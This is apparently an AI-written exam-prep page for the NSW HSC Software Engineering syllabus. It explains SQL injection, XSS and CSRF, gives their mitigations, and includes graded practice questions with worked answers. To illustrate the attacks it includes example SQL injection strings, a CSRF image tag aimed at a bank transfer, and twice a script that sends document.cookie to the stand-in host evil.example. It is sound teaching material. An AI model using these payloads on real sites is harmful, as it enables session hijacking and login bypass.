Skip to main content
ExamExplained
NSW · Software Engineering
Software Engineering study scene
§-Syllabus dot point
NSWSoftware EngineeringSyllabus dot point

Inquiry Question 1: How are secure web applications developed?

Identify and mitigate cross-site scripting (XSS), cross-site request forgery (CSRF) and SQL injection vulnerabilities

A focused answer to the HSC Software Engineering Module 2 dot point on web vulnerabilities. XSS (stored and reflected), CSRF, SQL injection, mitigations for each, the worked example, and the traps markers look for.

Reviewed by: AI editorial process; not yet individually human-reviewed

Have a quick question? Jump to the Q&A page

What this dot point is asking

NESA wants you to recognise three of the most common web application vulnerabilities, explain how each works, and identify specific developer-side mitigations.

The answer

SQL injection

An attacker submits crafted input that gets concatenated into a SQL query, changing its meaning.

# VULNERABLE
def login(username, password):
    query = f"SELECT * FROM users WHERE name = '{username}' AND pass = '{password}'"
    return db.execute(query).fetchone()

Submitting ' OR '1'='1 as the password makes the query return the admin row regardless of password.

Mitigation: parameterised queries.

def login(username, password):
    row = db.execute(
        "SELECT id, pass_hash FROM users WHERE name = ?",
        (username,),
    ).fetchone()
    return row if row and bcrypt.checkpw(password.encode(), row["pass_hash"]) else None

The database driver substitutes ? with the value safely. The input can no longer change the query structure.

Cross-site scripting (XSS)

An attacker injects JavaScript into a page that other users load. Categories:

  • Stored XSS: the script is saved in the database (a comment, a profile field) and served to every visitor.
  • Reflected XSS: the script is in a URL parameter (/search?q=<script>...</script>), and the page reflects it back without encoding.
  • DOM-based XSS: the script is introduced client-side via innerHTML or similar with user input.

Example - vulnerable rendering:

# VULNERABLE
@app.get("/search")
def search():
    q = request.args.get("q", "")
    return f"<p>You searched for: {q}</p>"

/search?q=<script>alert(1)</script> runs the script.

Mitigations:

  • Output encoding at every HTML-output boundary. Use a templating engine with autoescape on.
  • Use textContent instead of innerHTML when inserting user data via JavaScript.
  • Content Security Policy (script-src 'self') blocks inline and third-party scripts.
  • HttpOnly cookies prevent JavaScript from reading session cookies, limiting the damage of XSS.

Cross-site request forgery (CSRF)

An attacker tricks a logged-in user's browser into sending a request to a target site, abusing the user's session. Example: the user is logged into their bank. They visit an attacker's site, which contains:

<img src="https://bank.example.com/transfer?to=evil&amount=10000">

The browser sends the request with the user's bank cookies. The bank cannot tell the request was not intentional.

CSRF attack flow: forging a request with the victim's own session A schematic diagram of three steps. Step one, the victim's browser logs into a bank server and receives a session cookie. Step two, the victim opens a malicious attacker site in another browser tab. Step three, the attacker's page automatically submits a hidden transfer form to the bank server, and the browser attaches the victim's session cookie to that request without the victim knowing, so the bank cannot distinguish it from a genuine request. Victim browser logged into bank, holds session cookie Bank server trusts any request carrying a valid cookie Attacker site hidden auto-submit form targets the bank 1. Login Bank sets the session cookie 2. Victim opens attacker page in a new tab 3. Forged transfer cookie attached automatically The bank cannot tell step 3 apart from a genuine click by the victim: the cookie looks identical either way.

Mitigations:

  • CSRF tokens: a random token in each form, validated server-side. The attacker's site cannot read the token.
  • SameSite cookies: set SameSite=Lax or Strict on session cookies. The browser refuses to send the cookie on cross-site requests.
  • Check the Origin or Referer header: reject state-changing requests that come from another origin.
  • Use POST for state changes, not GET. GETs in <img> and <a> tags become CSRF vectors.

Defence in depth

Real applications layer all of these defences. A typical web app:

  1. Uses an ORM that parameterises all SQL by default (defends against injection).
  2. Uses a templating engine with autoescape on (defends against XSS).
  3. Sends Content-Security-Policy: script-src 'self' (defends against XSS even if encoding is missed).
  4. Issues session cookies with HttpOnly; Secure; SameSite=Lax (limits XSS damage; defends against CSRF).
  5. Includes a CSRF token in every form (defends against CSRF).
  6. Validates every input against an allow-list before processing (defends in depth).

Worked code

A small Flask + Jinja2 example showing all three mitigations:

from flask import Flask, request, render_template_string, abort
from flask_wtf.csrf import CSRFProtect
import sqlite3, bcrypt

app = Flask(__name__)
app.secret_key = "..."
CSRFProtect(app)

@app.after_request
def add_security_headers(response):
    response.headers["Content-Security-Policy"] = "script-src 'self'"
    return response

@app.post("/comment")
def post_comment():
    text = (request.form.get("text") or "").strip()
    if not (1 <= len(text) <= 1000):
        abort(400)
    with sqlite3.connect("blog.db") as conn:
        conn.execute(
            "INSERT INTO comments (text, user_id) VALUES (?, ?)",
            (text, current_user_id()),
        )
    return "ok"

Jinja2 autoescapes any {{ ... }} in templates. CSRFProtect adds a token to every form and validates on POST. The CSP header blocks inline scripts as a backstop. The SQL is parameterised.

Exam-style practice questions

Practice questions written in the style of NESA exam questions on this dot point, with worked answer explainers. The year tag is the paper they imitate, not the source.

2025 HSC6 marksExplain how a stored cross-site scripting (XSS) attack works and describe two mitigations the developer can implement.
Show worked answer →

In a stored XSS attack, an attacker submits malicious JavaScript into a form field that the application stores in its database. When other users view a page that displays the stored value, their browsers execute the script.

Example: a comment form on a blog accepts the body <script>fetch('//evil.example/steal?c=' + document.cookie)</script>. The site stores this comment and renders it on the article page. Every visitor's browser runs the script, sending their session cookies to the attacker, who can hijack their accounts.

Mitigation 1: output encoding. When rendering user-controlled data into HTML, encode special characters: < becomes &lt;, > becomes &gt;, & becomes &amp;, " becomes &quot;. The browser treats the value as text, not as HTML or script. Modern frameworks (React, Vue, Jinja2 with autoescape on) do this by default. In raw JavaScript, set element.textContent = userText, not element.innerHTML = userText.

Mitigation 2: Content Security Policy (CSP). Send a Content-Security-Policy header that restricts which scripts the browser will execute. A policy like script-src 'self' blocks any inline script and any script from another origin. Even if a <script> tag slips through the encoding, the browser refuses to run it.

Markers reward a clear attack walkthrough, both mitigations named correctly, and recognising that defence in depth (output encoding plus CSP plus HttpOnly cookies) is stronger than any one control alone.

Practice questions

Original practice questions graded from foundation to exam level, each with a full worked solution. Try them before revealing the solution.

foundation2 marksState which of the three vulnerabilities (XSS, CSRF, SQL injection) is present in this code, and name the single most direct fix: `query = "SELECT * FROM items WHERE id = " + item_id`.
Show worked solution →

This is SQL injection: item_id is concatenated directly into the query string, so an attacker can supply input such as 1 OR 1=1 to change the query's meaning.

Fix: use a parameterised query, e.g. db.execute(\"SELECT * FROM items WHERE id = ?\", (item_id,)), so the value is never treated as SQL syntax.

Marking criteria: 1 mark for correctly naming SQL injection, 1 mark for a correct parameterised-query fix.

foundation3 marksA page renders a search results heading as `f"<h1>Results for {query}</h1>"` where `query` comes straight from the URL. Name the vulnerability, explain why it is dangerous, and state one fix.
Show worked solution →

This is reflected XSS: the query value from the URL is written into the HTML without encoding, so a URL such as ?query=<script>alert(1)</script> causes the browser to execute the attacker's script for anyone who follows the link.

It is dangerous because the attacker never needs to touch the server's database; they only need to trick a victim into clicking a crafted link, and the script then runs with the victim's own session and cookies.

Fix: HTML-encode query before inserting it (or use a templating engine with autoescape on), so <script> is rendered as literal text, not as a tag.

Marking criteria: 1 mark for naming reflected XSS, 1 mark for explaining the attack mechanism, 1 mark for a correct encoding-based fix.

core4 marksThe table below is a sample of three incoming requests to a bank's `/transfer` endpoint, captured in the server access log. | Request | Method | Origin header | Referer header | Contains valid CSRF token? | |---|---|---|---|---| | A | POST | bank.example.com | bank.example.com/transfer-form | Yes | | B | GET | (none sent) | evil.example/page.html | No | | C | POST | evil.example | evil.example/page.html | No | Identify which request(s) are consistent with a CSRF attack, and justify your answer using the Origin/Referer and token columns.
Show worked solution →

Requests B and C are consistent with a CSRF attack.

  • Request A originates from the bank's own domain, carries a matching Referer, and includes a valid CSRF token, so it is a legitimate user-initiated transfer.
  • Request B has no Origin header and a Referer pointing to evil.example, and lacks a token; a GET to a state-changing endpoint triggered from an attacker's page (e.g. via an <img> tag) is a classic CSRF pattern, especially since state changes should never be exposed on GET at all.
  • Request C explicitly shows an Origin of evil.example and no valid token, meaning the request was submitted from a page the attacker controls, not the bank's own form.

Marking criteria: 1 mark for correctly identifying B and C as suspicious, 1 mark for correctly clearing A, 1 mark for using the Origin/Referer mismatch as evidence, 1 mark for using the missing CSRF token as evidence.

core4 marksExplain how SameSite=Lax cookies and CSRF tokens provide overlapping but different protection against CSRF, and why a developer might use both rather than just one.
Show worked solution →

SameSite=Lax is a browser-enforced rule: the browser itself withholds the session cookie on cross-site POST requests (and on embedded requests like images), so a forged form submitted from an attacker's page arrives with no session cookie attached, and the server sees an unauthenticated request.

CSRF tokens are an application-level control: the server embeds a random, unpredictable token in each legitimate form, and validates it on submission. An attacker's page cannot read or guess this token because the browser's same-origin policy prevents cross-origin pages from reading another site's response body.

A developer uses both because they cover different gaps: SameSite protection can be weakened by browser misconfiguration, older browsers that ignore SameSite, or subdomain-related edge cases, while a CSRF token is independent of cookie/browser behaviour. Layering both is defence in depth: either control alone stops most attacks, but together they remove single points of failure.

Marking criteria: 1 mark for correctly explaining SameSite=Lax's mechanism, 1 mark for correctly explaining CSRF tokens' mechanism, 2 marks for a justified explanation of why both are used together (defence in depth, coverage of different failure modes).

exam5 marksA junior developer submits this login handler for review: ```python @app.post("/login") def login(): user = request.form["username"] pw = request.form["password"] query = "SELECT * FROM users WHERE name='" + user + "' AND pass='" + pw + "'" row = db.execute(query).fetchone() if row: return f"<p>Welcome back, {user}!</p>" return "Login failed" ``` Identify two distinct vulnerabilities present (not counting plain-text password storage) and, for each, give the corrected code fragment.
Show worked solution →

Vulnerability 1: SQL injection. user and pw are concatenated directly into the query string, so input such as ' OR '1'='1' -- changes the query's logic and can bypass authentication entirely.

Fix:

row = db.execute(
    "SELECT id, pass_hash FROM users WHERE name = ?",
    (user,),
).fetchone()

Vulnerability 2: Reflected/stored XSS. The success message writes user straight into HTML via an f-string; a username containing <script>...</script> would execute in the browser of anyone who sees the response.

Fix:

return render_template("welcome.html", username=user)

(Jinja2's autoescape encodes username automatically, rendering any HTML characters as literal text.)

Marking criteria: 1 mark per correctly named vulnerability (2), 1 mark per corrected fragment that actually removes the flaw (2), 1 mark for noting that both fixes must use the value only as data, never as code/markup.

exam8 marksA start-up is building a web app where logged-in users can post public comments and transfer in-app credits to other users. Design a defence-in-depth security plan covering SQL injection, XSS and CSRF, naming a specific control for each layer and explaining what it stops.
Show worked solution →

This is an 8-mark extended response: markers reward a layered plan that names concrete controls and links each to the specific attack it stops, not a generic list.

Data layer - SQL injection
All database access goes through an ORM or driver that uses parameterised queries by default, so user input (comment text, transfer amount, recipient id) is never concatenated into SQL. This stops an attacker from changing a query's structure via crafted input, e.g. in a comment search box.
Output layer - stored/reflected XSS
The templating engine has autoescape switched on, so any comment text rendered back to other users has <, > and & encoded automatically. This stops a comment such as <script>fetch('//evil.example?c='+document.cookie)</script> from executing in other users' browsers.
Browser-enforced backstop - Content Security Policy
The server sends Content-Security-Policy: script-src 'self'. Even if one output-encoding gap is missed (e.g. a new field added without escaping), the browser will still refuse to execute an injected inline <script> or a script hosted on another origin.
Session layer - HttpOnly and Secure cookies
Session cookies are marked HttpOnly (JavaScript cannot read them, limiting what a successful XSS payload can steal) and Secure (only sent over HTTPS, preventing interception).
State-change layer - CSRF protection for the credit transfer
The transfer endpoint requires POST only (never GET), includes a per-session CSRF token validated server-side, and sets SameSite=Lax on the session cookie. Together these stop an attacker's page from silently submitting a forged transfer request using the victim's active session.
Input validation
Every input (comment length, transfer amount as a positive number within the user's balance, recipient id exists) is validated server-side against an allow-list of acceptable values, regardless of what client-side JavaScript already checked, because client-side checks can be bypassed by calling the API directly.

Marker's note: top-band answers (1) name a specific control per layer rather than a vague "sanitise everything", (2) explicitly link each control to the attack it defeats, (3) recognise that no single control is sufficient alone, and (4) cover all three named vulnerabilities plus at least one supporting control (HttpOnly, input validation, or CSP).

ExamExplained